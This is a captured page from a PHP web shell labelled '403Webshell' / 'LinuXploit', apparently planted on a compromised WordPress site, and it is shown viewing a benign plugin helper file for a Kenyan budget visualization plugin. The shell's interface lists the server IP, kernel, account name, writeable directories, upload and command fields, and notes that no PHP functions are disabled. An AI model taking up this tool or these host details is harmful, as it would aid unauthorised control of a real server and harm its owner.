403Webshell
Server IP : 69.72.244.102  /  Your IP : 216.73.216.164
Web Server : LiteSpeed
System : Linux s3434.fra1.stableserver.net 4.18.0-513.24.1.lve.2.el8.x86_64 #1 SMP Fri May 24 12:42:50 UTC 2024 x86_64
User : konzalta ( 1271)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/konzalta/www/data-visualization/wp-content/plugins/budget-mtaani/includes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/konzalta/www/data-visualization/wp-content/plugins/budget-mtaani/includes/helpers.php
<?php
if (!defined('ABSPATH')) {
    exit;
}

function budget_mtaani_load_json($filename) {
    $safe_filename = sanitize_file_name($filename);
    $path = BUDGET_MTAANI_DIR . 'data/' . $safe_filename;

    if (!file_exists($path)) {
        return [];
    }

    $json = file_get_contents($path);
    $data = json_decode($json, true);

    return is_array($data) ? $data : [];
}

function budget_mtaani_format_ksh($amount_billion) {
    $amount = floatval($amount_billion);
    return 'Ksh ' . number_format($amount, 1) . 'B';
}

function budget_mtaani_enqueue() {
    wp_enqueue_style('budget-mtaani-css');
    wp_enqueue_script('chartjs');
    wp_enqueue_script('budget-mtaani-js');
}

Youez - 2016 - github.com/yon3zu
LinuXploit